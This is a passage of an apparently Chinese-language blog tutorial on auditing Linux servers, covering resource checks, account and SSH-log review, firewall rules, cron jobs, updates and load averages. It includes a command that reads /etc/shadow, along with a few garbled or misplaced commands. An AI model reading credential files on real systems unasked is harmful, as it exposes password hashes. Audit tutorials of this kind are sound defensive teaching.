{"id":17031,"date":"2025-04-18T23:28:10","date_gmt":"2025-04-18T15:28:10","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/17031.html"},"modified":"2025-04-18T23:28:10","modified_gmt":"2025-04-18T15:28:10","slug":"linux%e5%ad%a6%e4%b9%a0%e4%ba%94%e6%9c%8d%e5%8a%a1%e5%99%a8%e5%ae%a1%e6%9f%a5%e6%ad%a3%e5%b8%b8%e8%bf%90%e8%a1%8c%e6%97%b6%e9%97%b4%e8%b4%9f%e8%bd%bd%e8%ba%ab%e4%bb%bd%e9%aa%8c%e8%af%81%e6%97%a5","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/17031.html","title":{"rendered":"linux\u5b66\u4e60(\u4e94)(\u670d\u52a1\u5668\u5ba1\u67e5,\u6b63\u5e38\u8fd0\u884c\u65f6\u95f4\u8d1f\u8f7d,\u8eab\u4efd\u9a8c\u8bc1\u65e5\u5fd7,\u6b63\u5728\u8fd0\u884c\u7684\u670d\u52a1,\u8bc4\u4f30\u53ef\u7528\u5185\u5b58)"},"content":{"rendered":"<h2 id=\"server-review\">\u670d\u52a1\u5668\u5ba1\u67e5<\/h2>\n<p>\u5728 Linux \u4e2d\u5ba1\u67e5\u670d\u52a1\u5668\u7684\u8fc7\u7a0b\u5305\u62ec\u8bc4\u4f30\u670d\u52a1\u5668\u7684\u6027\u80fd\u3001\u5b89\u5168\u6027\u548c\u914d\u7f6e&#xff0c;\u4ee5\u786e\u5b9a\u9700\u8981\u6539\u8fdb\u7684\u9886\u57df\u6216\u4efb\u4f55\u6f5c\u5728\u95ee\u9898\u3002\u5ba1\u67e5\u7684\u8303\u56f4\u53ef\u4ee5\u5305\u62ec\u68c0\u67e5\u5b89\u5168\u589e\u5f3a\u529f\u80fd\u3001\u68c0\u67e5\u65e5\u5fd7\u6587\u4ef6\u3001\u5ba1\u67e5\u7528\u6237\u5e10\u6237\u3001\u5206\u6790\u670d\u52a1\u5668\u7684\u7f51\u7edc\u914d\u7f6e\u4ee5\u53ca\u68c0\u67e5\u5176\u8f6f\u4ef6\u7248\u672c\u3002<\/p>\n<p>Linux \u4ee5\u5176\u7a33\u5b9a\u6027\u548c\u5b89\u5168\u6027\u800c\u95fb\u540d&#xff0c;\u5df2\u6210\u4e3a\u5168\u7403\u8bb8\u591a\u7f51\u7edc\u548c\u670d\u52a1\u5668\u540e\u7aef\u7684\u4e3b\u6253\u4ea7\u54c1\u3002\u6839\u636e\u60a8\u4f7f\u7528\u7684\u53d1\u884c\u7248&#xff0c;Linux \u63d0\u4f9b\u4e86\u591a\u79cd\u5de5\u5177\u548c\u547d\u4ee4\u6765\u6267\u884c\u5168\u9762\u7684\u670d\u52a1\u5668\u5ba1\u67e5\u3002<\/p>\n<p># A command often used for showing memory information<br \/>\nfree -m<\/p>\n<p># A command for showing disk usage<br \/>\ndf -h<\/p>\n<p># A command for showing CPU load<br \/>\nuptime<\/p>\n<p>\u7cfb\u7edf\u7ba1\u7406\u5458\u548c DevOps \u4e13\u4e1a\u4eba\u5458\u5b9a\u671f\u8fdb\u884c\u670d\u52a1\u5668\u5ba1\u67e5\u4ee5\u786e\u4fdd\u670d\u52a1\u5668\u7684\u6700\u4f73\u6027\u80fd\u3001\u5b89\u5168\u6027\u548c\u53ef\u9760\u6027\u662f\u4e00\u9879\u5173\u952e\u4efb\u52a1\u3002<\/p>\n<p>Linux \u670d\u52a1\u5668\u5ba1\u67e5\u5c31\u50cf\u7ed9\u670d\u52a1\u5668\u505a\u201c\u5168\u8eab\u4f53\u68c0\u201d\u2014\u2014\u68c0\u67e5\u5b83\u7684\u5065\u5eb7\u72b6\u51b5\u3001\u5b89\u5168\u6f0f\u6d1e\u548c\u6027\u80fd\u74f6\u9888&#xff0c;\u786e\u4fdd\u5b83\u7a33\u5b9a\u9ad8\u6548\u5730\u5de5\u4f5c\u3002\u4ee5\u4e0b\u662f\u901a\u4fd7\u6613\u61c2\u7684\u6b65\u9aa4\u548c\u5e38\u7528\u547d\u4ee4&#xff1a;<\/p>\n<hr \/>\n<h4>\u4e00\u3001\u57fa\u7840\u68c0\u67e5&#xff1a;\u770b\u201c\u751f\u547d\u4f53\u5f81\u201d<\/h4>\n<p>\u5c31\u50cf\u6d4b\u4f53\u6e29\u3001\u8840\u538b&#xff0c;\u5148\u770b\u670d\u52a1\u5668\u7684\u57fa\u672c\u72b6\u6001&#xff1a;<\/p>\n<li>\n<p>\u5185\u5b58\u4f7f\u7528&#xff08;\u67e5\u662f\u5426\u201c\u8d2b\u8840\u201d&#xff09;&#xff1a;<\/p>\n<p> free -m  # \u67e5\u770b\u5185\u5b58\u603b\u91cf\u3001\u5df2\u7528\u3001\u7a7a\u95f2&#xff08;\u5355\u4f4dMB&#xff09; <\/p>\n<ul>\n<li>\n<p>\u5173\u952e\u6307\u6807&#xff1a;available&#xff08;\u53ef\u7528\u5185\u5b58&#xff09;\u662f\u5426\u5145\u8db3\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u78c1\u76d8\u7a7a\u95f4&#xff08;\u67e5\u201c\u80c3\u5bb9\u91cf\u201d&#xff09;&#xff1a;<\/p>\n<p> df -h  # \u67e5\u770b\u5404\u78c1\u76d8\u5206\u533a\u7684\u4f7f\u7528\u60c5\u51b5&#xff08;\u5355\u4f4d\u6613\u8bfb&#xff1a;GB\/MB&#xff09; <\/p>\n<ul>\n<li>\n<p>\u91cd\u70b9\u5173\u6ce8&#xff1a;Use%&#xff08;\u4f7f\u7528\u7387&#xff09;\u8d85\u8fc7 80% \u9700\u6e05\u7406\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>CPU \u8d1f\u8f7d&#xff08;\u67e5\u201c\u5fc3\u810f\u538b\u529b\u201d&#xff09;&#xff1a;<\/p>\n<p> uptime      # \u67e5\u770b\u8d1f\u8f7d\u5e73\u5747\u503c&#xff08;1\/5\/15\u5206\u949f&#xff09;<br \/>\ntop \u6216 htop  # \u5b9e\u65f6\u76d1\u63a7CPU\u5360\u7528\u9ad8\u7684\u8fdb\u7a0b&#xff08;\u6309q\u9000\u51fa&#xff09; <\/p>\n<ul>\n<li>\n<p>\u8d1f\u8f7d\u89e3\u8bfb&#xff1a;\u8d1f\u8f7d\u503c \u2264 CPU\u6838\u5fc3\u6570 \u4e3a\u6b63\u5e38&#xff08;\u59824\u6838CPU\u8d1f\u8f7d\u22644&#xff09;\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<hr \/>\n<h4>\u4e8c\u3001\u5b89\u5168\u5ba1\u67e5&#xff1a;\u9632\u201c\u5c0f\u5077\u5165\u4fb5\u201d<\/h4>\n<p>\u68c0\u67e5\u95e8\u9501&#xff08;\u9632\u706b\u5899&#xff09;\u3001\u8bbf\u5ba2\u8bb0\u5f55&#xff08;\u65e5\u5fd7&#xff09;\u548c\u53ef\u7591\u4eba\u5458&#xff08;\u7528\u6237\u8d26\u6237&#xff09;&#xff1a;<\/p>\n<li>\n<p>\u7528\u6237\u8d26\u6237\u68c0\u67e5&#xff08;\u67e5\u201c\u8c01\u6709\u94a5\u5319\u201d&#xff09;&#xff1a;<\/p>\n<p> sudo less \/etc\/passwd      # \u67e5\u770b\u6240\u6709\u7528\u6237<br \/>\nsudo less \/etc\/shadow      # \u67e5\u770b\u7528\u6237\u5bc6\u7801\u72b6\u6001&#xff08;\u9700\u6743\u9650&#xff09;<br \/>\nwho                        # \u67e5\u770b\u5f53\u524d\u767b\u5f55\u7528\u6237<br \/>\nlast                       # \u67e5\u770b\u767b\u5f55\u5386\u53f2 <\/p>\n<ul>\n<li>\n<p>\u91cd\u70b9\u6392\u67e5&#xff1a;\u964c\u751f\u7528\u6237\u3001\u7a7a\u5bc6\u7801\u8d26\u6237\u3001root\u8fdc\u7a0b\u767b\u5f55\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u9632\u706b\u5899\u4e0e\u7aef\u53e3&#xff08;\u67e5\u201c\u95e8\u7a97\u662f\u5426\u5173\u597d\u201d&#xff09;&#xff1a;<\/p>\n<p> sudo ufw status          # \u67e5\u770b\u9632\u706b\u5899\u72b6\u6001&#xff08;Ubuntu&#xff09;<br \/>\nsudo iptables -L -n -v  # \u67e5\u770b\u8be6\u7ec6\u9632\u706b\u5899\u89c4\u5219&#xff08;\u901a\u7528&#xff09;<br \/>\nss -tuln                # \u67e5\u770b\u6240\u6709\u76d1\u542c\u7aef\u53e3&#xff08;\u66ff\u4ee3netstat&#xff09; <\/p>\n<ul>\n<li>\n<p>\u98ce\u9669\u7aef\u53e3&#xff1a;\u5173\u95ed\u4e0d\u5fc5\u8981\u7684\u7aef\u53e3&#xff08;\u5982\u9ed8\u8ba4\u768422\u7aef\u53e3\u53ef\u6539\u4e3a\u975e\u6807\u51c6&#xff09;\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u65e5\u5fd7\u5206\u6790&#xff08;\u67e5\u201c\u76d1\u63a7\u5f55\u50cf\u201d&#xff09;&#xff1a;<\/p>\n<p> sudo tail -100 \/var\/log\/auth.log  # \u67e5\u770b\u8ba4\u8bc1\u65e5\u5fd7&#xff08;SSH\u767b\u5f55\u8bb0\u5f55&#xff09;<br \/>\nsudo journalctl -u sshd          # \u67e5\u770bSSH\u670d\u52a1\u65e5\u5fd7&#xff08;Systemd\u7cfb\u7edf&#xff09;<br \/>\ngrep &#034;Failed&#034; \/var\/log\/auth.log  # \u8fc7\u6ee4\u767b\u5f55\u5931\u8d25\u7684\u8bb0\u5f55&#xff08;\u9632\u66b4\u529b\u7834\u89e3&#xff09; &#x1f539; \u5982\u4f55\u68c0\u6d4b\u53ef\u7591\u653b\u51fb&#xff1f;<br \/>\n&#x1f538; 1\ufe0f\u20e3 \u7edf\u8ba1\u5931\u8d25\u767b\u5f55\u6b21\u6570&#xff1a;<br \/>\nsh<br \/>\n\u590d\u5236<br \/>\n\u7f16\u8f91<br \/>\ngrep &#034;Failed&#034; \/var\/log\/auth.log | wc -l<br \/>\n&#x1f4cc; \u4f5c\u7528&#xff1a;\u7edf\u8ba1\u5305\u542b &#034;Failed&#034; \u7684\u884c\u6570&#xff0c;\u5373\u5931\u8d25\u5c1d\u8bd5\u6b21\u6570\u3002<br \/>\n&#x1f50d; \u5982\u679c\u5931\u8d25\u6b21\u6570\u5f02\u5e38\u591a&#xff08;\u6bd4\u5982\u51e0\u767e\u6b21&#xff09;&#xff0c;\u53ef\u80fd\u662f\u66b4\u529b\u7834\u89e3&#xff01;<\/p>\n<p>&#x1f538; 2\ufe0f\u20e3 \u67e5\u770b\u653b\u51fb\u6765\u6e90 IP<br \/>\nsh<br \/>\n\u590d\u5236<br \/>\n\u7f16\u8f91<br \/>\ngrep &#034;Failed&#034; \/var\/log\/auth.log | awk &#039;{print $(NF-3)}&#039; | sort | uniq -c | sort -nr<br \/>\n&#x1f4cc; \u4f5c\u7528&#xff1a;<\/p>\n<p>\u89e3\u6790 Failed password for &#8230; from 192.168.1.100 \u8fd9\u7c7b\u65e5\u5fd7<br \/>\n\u63d0\u53d6\u653b\u51fb IP<br \/>\n\u7edf\u8ba1\u6bcf\u4e2a IP \u51fa\u73b0\u6b21\u6570&#xff0c;\u6309\u6b21\u6570\u964d\u5e8f\u6392\u5e8f<br \/>\n&#x1f31f; \u793a\u4f8b\u8f93\u51fa<\/p>\n<p>\u590d\u5236<br \/>\n\u7f16\u8f91<br \/>\n100 203.0.113.42<br \/>\n50 192.168.1.100<br \/>\n&#x1f50d; \u5982\u679c\u67d0\u4e2a IP \u5931\u8d25\u6b21\u6570\u5f02\u5e38\u591a&#xff0c;\u8bf4\u660e\u5b83\u5728\u6076\u610f\u5c1d\u8bd5\u767b\u5f55&#xff01;<\/p>\n<p>&#x1f538; 3\ufe0f\u20e3 \u963b\u6b62\u653b\u51fb IP<br \/>\n\u5982\u679c\u53d1\u73b0\u6076\u610f IP&#xff0c;\u53ef\u4ee5\u7528 iptables \u6216 fail2ban \u8fdb\u884c\u5c01\u9501&#xff1a;<\/p>\n<p>sh<br \/>\n\u590d\u5236<br \/>\n\u7f16\u8f91<br \/>\nsudo iptables -A INPUT -s 203.0.113.42 -j DROP<br \/>\n&#x1f4cc; \u4f5c\u7528&#xff1a;\u963b\u6b62 203.0.113.42 \u8bbf\u95ee\u670d\u52a1\u5668&#xff08;\u5f7b\u5e95\u5c01\u9501&#xff09;\u3002<\/p>\n<p>&#x1f539; \u603b\u7ed3<br \/>\n\u547d\u4ee4\u4f5c\u7528<br \/>\ngrep &#034;Failed&#034; \/var\/log\/auth.log\u67e5\u627e\u767b\u5f55\u5931\u8d25\u7684\u8bb0\u5f55<br \/>\n&#096;grep &#034;Failed&#034; \/var\/log\/auth.logwc -l&#096;<br \/>\n&#096;grep &#034;Failed&#034; \/var\/log\/auth.logawk &#039;{print $(NF-3)}&#039;<br \/>\nsudo iptables -A INPUT -s &lt;IP&gt; -j DROP\u5c01\u9501\u653b\u51fb IP<br \/>\n&#x1f539; \u7ed3\u8bba<br \/>\n\u2705 \u8fd9\u6761 grep \u547d\u4ee4\u662f\u68c0\u6d4b\u670d\u52a1\u5668\u662f\u5426\u906d\u9047 SSH \u66b4\u529b\u7834\u89e3 \u7684\u7b2c\u4e00\u6b65\u3002<br \/>\n\u2705 \u540e\u7eed\u53ef\u4ee5\u7ed3\u5408 fail2ban \u81ea\u52a8\u5c01\u9501\u6076\u610f IP&#xff0c;\u63d0\u9ad8\u670d\u52a1\u5668\u5b89\u5168\u6027\u3002 <\/li>\n<hr \/>\n<h4>\u4e09\u3001\u6027\u80fd\u8c03\u4f18&#xff1a;\u6cbb\u201c\u6162\u6027\u75c5\u201d<\/h4>\n<p>\u68c0\u67e5\u62d6\u6162\u670d\u52a1\u5668\u7684\u201c\u6162\u6027\u95ee\u9898\u201d&#xff1a;<\/p>\n<li>\n<p>\u8fdb\u7a0b\u4e0e\u670d\u52a1&#xff08;\u67e5\u201c\u8c01\u5728\u5403\u8d44\u6e90\u201d&#xff09;&#xff1a;<\/p>\n<p> ps aux &#8211;sort&#061;-%cpu | head  # \u6309CPU\u4f7f\u7528\u7387\u6392\u5e8f\u8fdb\u7a0b<br \/>\nsystemctl list-units &#8211;type&#061;service  # \u67e5\u770b\u6240\u6709\u670d\u52a1 <\/p>\n<ul>\n<li>\n<p>\u4f18\u5316\u5efa\u8bae&#xff1a;\u505c\u7528\u4e0d\u5fc5\u8981\u7684\u670d\u52a1&#xff08;\u5982\u65e7\u7248\u672cMySQL\u3001\u591a\u4f59\u5bb9\u5668&#xff09;\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u5b9a\u65f6\u4efb\u52a1&#xff08;\u67e5\u201c\u81ea\u52a8\u4efb\u52a1\u201d&#xff09;&#xff1a;<\/p>\n<p> crontab -l              # \u67e5\u770b\u5f53\u524d\u7528\u6237\u7684\u5b9a\u65f6\u4efb\u52a1<br \/>\nls \/etc\/cron.*          # \u67e5\u770b\u7cfb\u7edf\u7ea7\u5b9a\u65f6\u4efb\u52a1 <\/p>\n<ul>\n<li>\n<p>\u98ce\u9669\u70b9&#xff1a;\u5f02\u5e38\u4efb\u52a1&#xff08;\u5982\u6316\u77ff\u811a\u672c&#xff09;\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u5185\u6838\u53c2\u6570&#xff08;\u67e5\u201c\u8eab\u4f53\u673a\u80fd\u201d&#xff09;&#xff1a;<\/p>\n<p> sysctl -a | grep somaxconn  # \u67e5\u770bTCP\u8fde\u63a5\u961f\u5217\u5927\u5c0f&#xff08;\u793a\u4f8b&#xff09;  <\/p>\n<ul>\n<li>\n<p>\u5e38\u89c1\u4f18\u5316&#xff1a;\u8c03\u6574TCP\u7f13\u51b2\u533a\u3001\u6587\u4ef6\u6253\u5f00\u6570&#xff08;\u9700\u5907\u4efd\u914d\u7f6e\u6587\u4ef6&#xff09;\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<hr \/>\n<h4>\u56db\u3001\u5907\u4efd\u4e0e\u66f4\u65b0&#xff1a;\u6253\u201c\u75ab\u82d7\u201d<\/h4>\n<p>\u786e\u4fdd\u7cfb\u7edf\u5b89\u5168\u548c\u6570\u636e\u53ef\u6062\u590d&#xff1a;<\/p>\n<li>\n<p>\u68c0\u67e5\u66f4\u65b0&#xff08;\u6253\u201c\u8865\u4e01\u201d&#xff09;&#xff1a;<\/p>\n<p> sudo apt update &amp;&amp; sudo apt upgrade  # Debian\/Ubuntu<br \/>\nsudo yum update                     # CentOS\/RHEL  <\/p>\n<ul>\n<li>\n<p>\u5b9a\u671f\u66f4\u65b0&#xff1a;\u4fee\u590d\u5b89\u5168\u6f0f\u6d1e&#xff0c;\u5347\u7ea7\u8f6f\u4ef6\u7248\u672c\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u9a8c\u8bc1\u5907\u4efd&#xff08;\u67e5\u201c\u4fdd\u9669\u67dc\u201d&#xff09;&#xff1a;<\/p>\n<p> ls -l \/backup\/            # \u67e5\u770b\u5907\u4efd\u6587\u4ef6<br \/>\ncrontab -l | grep backup  # \u68c0\u67e5\u5907\u4efd\u4efb\u52a1\u662f\u5426\u8bbe\u7f6e  <\/p>\n<ul>\n<li>\n<p>\u5173\u952e\u70b9&#xff1a;\u5907\u4efd\u662f\u5426\u5b8c\u6574\u3001\u80fd\u5426\u6062\u590d\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<hr \/>\n<h4>\u4e94\u3001\u81ea\u52a8\u5316\u5de5\u5177\u63a8\u8350<\/h4>\n<ul>\n<li>\n<p>\u5b89\u5168\u626b\u63cf&#xff1a;lynis audit system&#xff08;\u5f00\u6e90\u5b89\u5168\u5ba1\u8ba1\u5de5\u5177&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>\u76d1\u63a7\u544a\u8b66&#xff1a;Prometheus\u00a0&#043;\u00a0Grafana&#xff08;\u76d1\u63a7CPU\u3001\u5185\u5b58\u3001\u78c1\u76d8&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>\u65e5\u5fd7\u5206\u6790&#xff1a;ELK&#xff08;Elasticsearch, Logstash, Kibana&#xff09;\u3002<\/p>\n<\/li>\n<\/ul>\n<hr \/>\n<h4>\u4e3e\u4e2a\u5b9e\u9645\u4f8b\u5b50<\/h4>\n<p>\u5047\u8bbe\u670d\u52a1\u5668\u53d8\u6162&#xff0c;\u6309\u4ee5\u4e0b\u6b65\u9aa4\u6392\u67e5&#xff1a;<\/p>\n<li>\n<p>\u5feb\u901f\u8bca\u65ad&#xff1a;<\/p>\n<p> uptime; free -m; df -h; top  <\/p>\n<ul>\n<li>\n<p>\u53d1\u73b0\u78c1\u76d8\u6ee1\u4e86 \u2192 \u7528\u00a0du -sh \/* | sort -rh | head\u00a0\u627e\u5927\u6587\u4ef6\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u68c0\u67e5\u767b\u5f55\u8bb0\u5f55&#xff1a;<\/p>\n<p> uptime; free -m; df -h; top  <\/p>\n<ul>\n<li>\n<p>\u53d1\u73b0\u964c\u751fIP \u2192 \u5c01\u9501IP&#xff0c;\u52a0\u5f3aSSH\u5bc6\u94a5\u767b\u5f55\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<hr \/>\n<p>\u901a\u8fc7\u5b9a\u671f\u201c\u4f53\u68c0\u201d&#xff0c;\u4f60\u7684\u670d\u52a1\u5668\u4f1a\u53d8\u5f97\u66f4\u5065\u5eb7\u3001\u66f4\u5b89\u5168&#xff01;&#x1f680;<\/p>\n<h2 id=\"uptime-load\" style=\"margin-left:.625rem;margin-right:0;text-align:start\"><span style=\"color:var(--tw-prose-headings)\"><span style=\"background-color:#ffffff\">\u6b63\u5e38\u8fd0\u884c\u65f6\u95f4\u8d1f\u8f7d<\/span><\/span><\/h2>\n<p style=\"margin-left:.5rem;margin-right:0;text-align:start\"><span style=\"color:#374151\"><span style=\"background-color:#ffffff\">\u5728\u7ba1\u7406 Linux \u670d\u52a1\u5668\u65f6&#xff0c;\u4e00\u4e2a\u503c\u5f97\u5bc6\u5207\u5173\u6ce8\u7684\u5173\u952e\u6307\u6807\u662f\u201c\u6b63\u5e38\u8fd0\u884c\u65f6\u95f4\u201d\u3002Linux \u4e2d\u7684\u547d\u4ee4\u63d0\u4f9b\u6709\u5173\u7cfb\u7edf\u5728\u4e0d\u5173\u95ed\u6216\u91cd\u65b0\u542f\u52a8\u7684\u60c5\u51b5\u4e0b\u8fd0\u884c\u4e86\u591a\u957f\u65f6\u95f4\u7684\u4fe1\u606f&#xff0c;\u4ee5\u53ca\u7cfb\u7edf\u8d1f\u8f7d\u5e73\u5747\u503c\u3002uptime<\/span><\/span><\/p>\n<p style=\"margin-left:.5rem;margin-right:0;text-align:start\"><span style=\"color:#374151\"><span style=\"background-color:#ffffff\">\u7cfb\u7edf\u8d1f\u8f7d\u5e73\u5747\u503c\u662f\u4e00\u4e2a\u91cd\u8981\u7684\u6307\u6807&#xff0c;\u5b83\u8bf4\u660e\u4e86\u8ba1\u7b97\u673a\u7cfb\u7edf\u6267\u884c\u7684\u8ba1\u7b97\u5de5\u4f5c\u91cf\u3002\u5b83\u53cd\u6620\u4e86\u6709\u591a\u5c11\u8fdb\u7a0b\u6b63\u5728\u6392\u961f\u7b49\u5f85\u83b7\u53d6 CPU \u65f6\u95f4\u3002\u7cfb\u7edf\u8d1f\u8f7d\u5e73\u5747\u503c\u901a\u5e38\u663e\u793a 1 \u5206\u949f\u30015 \u5206\u949f\u548c 15 \u5206\u949f\u7684\u6301\u7eed\u65f6\u95f4\u3002<\/span><\/span><\/p>\n<p style=\"margin-left:.5rem;margin-right:0;text-align:start\"><span style=\"color:#374151\"><span style=\"background-color:#ffffff\">\u901a\u8fc7\u6301\u7eed\u5206\u6790 Linux \u670d\u52a1\u5668\u4e0a\u7684\u6b63\u5e38\u8fd0\u884c\u65f6\u95f4\u548c\u8d1f\u8f7d&#xff0c;\u7ba1\u7406\u5458\u53ef\u4ee5\u8bc6\u522b\u7cfb\u7edf\u4f7f\u7528\u6a21\u5f0f\u3001\u8bca\u65ad\u53ef\u80fd\u7684\u6027\u80fd\u95ee\u9898\u5e76\u786e\u5b9a\u6709\u6548\u7684\u5bb9\u91cf\u89c4\u5212\u7b56\u7565\u3002\u5982\u679c\u670d\u52a1\u5668\u7684\u5e73\u5747\u8d1f\u8f7d\u8f83\u9ad8&#xff0c;\u5219\u53ef\u80fd\u8868\u660e\u7cfb\u7edf\u8d44\u6e90\u4e0d\u8db3\u6216\u914d\u7f6e\u9519\u8bef&#xff0c;\u4ece\u800c\u5bfc\u81f4\u6027\u80fd\u964d\u4f4e\u6216\u7cfb\u7edf\u65e0\u54cd\u5e94\u3002<\/span><\/span><\/p>\n<p style=\"margin-left:.5rem;margin-right:0;text-align:start\"><span style=\"color:#374151\"><span style=\"background-color:#ffffff\">\u4ee5\u4e0b\u662f\u8be5\u547d\u4ee4\u53ca\u5176\u8f93\u51fa\u7684\u793a\u4f8b&#xff1a;uptime<\/span><\/span><\/p>\n<p>$ uptime<br \/>\n 10:58:35 up 2 days, 20 min,  1 user,  load average: 0.00, 0.01, 0.05 <\/p>\n<p style=\"margin-left:.5rem;margin-right:0;text-align:start\"><span style=\"color:#374151\"><span style=\"background-color:#ffffff\">\u5728\u4e0a\u9762\u7684\u8f93\u51fa\u4e2d&#xff0c;\u201c2 days&#xff0c; 20 min\u201d \u544a\u8bc9\u6211\u4eec\u7cfb\u7edf\u8fd0\u884c\u4e86\u591a\u957f\u65f6\u95f4&#xff0c;\u800c \u201c0.00&#xff0c; 0.01&#xff0c; 0.05\u201d \u5206\u522b\u663e\u793a\u4e86\u7cfb\u7edf\u5728\u8fc7\u53bb 1 \u5206\u949f\u30015 \u5206\u949f\u548c 15 \u5206\u949f\u5185\u7684\u5e73\u5747\u8d1f\u8f7d\u3002<\/span><\/span><\/p>\n<p>uptime\u00a0\u662f Linux \u4e2d\u4e00\u4e2a\u5feb\u901f\u67e5\u770b\u670d\u52a1\u5668\u5065\u5eb7\u72b6\u6001\u7684\u547d\u4ee4&#xff0c;\u5b83\u80fd\u544a\u8bc9\u4f60\u4e24\u4ef6\u5173\u952e\u4e8b&#xff1a;\u670d\u52a1\u5668\u8fd0\u884c\u4e86\u591a\u4e45\u548c\u5f53\u524d\u7cfb\u7edf\u7684\u201c\u5fd9\u788c\u7a0b\u5ea6\u201d\u3002\u5c31\u50cf\u6c7d\u8f66\u7684\u4eea\u8868\u76d8&#xff0c;\u4e00\u773c\u5c31\u80fd\u770b\u51fa\u662f\u5426\u9700\u8981\u201c\u68c0\u4fee\u201d&#xff01;<\/p>\n<hr \/>\n<h4>\u547d\u4ee4\u8f93\u51fa\u793a\u4f8b<\/h4>\n<\/p>\n<p>$ uptime<br \/>\n 10:58:35 up 2\u5929, 20\u5206\u949f,  1\u7528\u6237,  \u5e73\u5747\u8d1f\u8f7d: 0.00, 0.01, 0.05 <\/p>\n<p>\u7ffb\u8bd1\u6210\u5927\u767d\u8bdd&#xff1a;<\/p>\n<ul>\n<li>\n<p>10:58:35&#xff1a;\u73b0\u5728\u662f\u4e0a\u534810\u70b958\u520635\u79d2&#xff08;\u7cfb\u7edf\u65f6\u95f4&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>up 2\u5929, 20\u5206\u949f&#xff1a;\u670d\u52a1\u5668\u5df2\u7ecf\u8fde\u7eed\u8fd0\u884c\u4e862\u5929\u96f620\u5206\u949f\u6ca1\u91cd\u542f\u3002<\/p>\n<\/li>\n<li>\n<p>1\u7528\u6237&#xff1a;\u5f53\u524d\u67091\u4e2a\u7528\u6237\u767b\u5f55&#xff08;\u6bd4\u5982\u901a\u8fc7SSH&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>\u5e73\u5747\u8d1f\u8f7d: 0.00, 0.01, 0.05&#xff1a;\u8fc7\u53bb1\u5206\u949f\u30015\u5206\u949f\u300115\u5206\u949f\u7684\u201c\u8d1f\u8f7d\u6307\u6570\u201d\u3002<\/p>\n<\/li>\n<\/ul>\n<hr \/>\n<h4>\u201c\u5e73\u5747\u8d1f\u8f7d\u201d\u901a\u4fd7\u89e3\u91ca<\/h4>\n<p>\u4f60\u53ef\u4ee5\u628a\u8d1f\u8f7d&#xff08;Load Average&#xff09;\u60f3\u8c61\u6210\u8d85\u5e02\u6536\u94f6\u53f0\u7684\u6392\u961f\u60c5\u51b5&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u8d1f\u8f7d\u503c &#061; \u6b63\u5728\u7ed3\u8d26\u7684\u987e\u5ba2 &#043; \u6392\u961f\u7b49\u5f85\u7684\u987e\u5ba2\u3002<\/p>\n<\/li>\n<li>\n<p>\u5047\u8bbe\u670d\u52a1\u5668\u662f4\u4e2a\u6536\u94f6\u53f0&#xff08;4\u6838CPU&#xff09;&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u8d1f\u8f7d \u22644&#xff1a;\u987e\u5ba2\u6765\u4e86\u80fd\u7acb\u523b\u7ed3\u8d26&#xff0c;\u65e0\u9700\u6392\u961f&#xff08;\u5065\u5eb7&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>\u8d1f\u8f7d &gt;4&#xff1a;\u5f00\u59cb\u6392\u961f&#xff0c;\u6570\u503c\u8d8a\u5927\u961f\u4f0d\u8d8a\u957f&#xff08;\u53ef\u80fd\u5361\u987f&#xff09;\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u4e09\u4e2a\u6570\u503c\u7684\u610f\u4e49&#xff1a;<\/p>\n<ul>\n<li>\n<p>0.00&#xff08;1\u5206\u949f\u8d1f\u8f7d&#xff09;&#xff1a;\u521a\u521a\u7684\u6392\u961f\u60c5\u51b5&#xff08;\u6700\u654f\u611f&#xff0c;\u53ef\u80fd\u7a81\u53d1\u9ad8\u5cf0&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>0.01&#xff08;5\u5206\u949f\u8d1f\u8f7d&#xff09;&#xff1a;\u77ed\u671f\u7684\u5e73\u5747\u6392\u961f\u60c5\u51b5\u3002<\/p>\n<\/li>\n<li>\n<p>0.05&#xff08;15\u5206\u949f\u8d1f\u8f7d&#xff09;&#xff1a;\u957f\u671f\u7684\u8d8b\u52bf&#xff08;\u66f4\u7a33\u5b9a&#xff09;\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<hr \/>\n<h4>\u5982\u4f55\u5224\u65ad\u8d1f\u8f7d\u662f\u5426\u8fc7\u9ad8&#xff1f;<\/h4>\n<ul>\n<li>\n<p>\u5355\u6838CPU&#xff1a;\u8d1f\u8f7d\u8d85\u8fc71.0 \u8868\u793a\u8fc7\u8f7d\u3002<\/p>\n<\/li>\n<li>\n<p>4\u6838CPU&#xff1a;\u8d1f\u8f7d\u8d85\u8fc74.0 \u8868\u793a\u6ee1\u8d1f\u8377\u3002<\/p>\n<\/li>\n<li>\n<p>\u4e3e\u4f8b&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u8d1f\u8f7d: 3.50, 2.10, 0.80&#xff08;4\u6838CPU&#xff09;&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u6700\u8fd11\u5206\u949f\u8d1f\u8f7d3.5\u00a0\u2192 \u5f53\u524d\u8f83\u5fd9&#xff0c;\u4f46\u672a\u8d854\u6838\u80fd\u529b\u3002<\/p>\n<\/li>\n<li>\n<p>\u8fc7\u53bb15\u5206\u949f\u8d1f\u8f7d0.8\u00a0\u2192 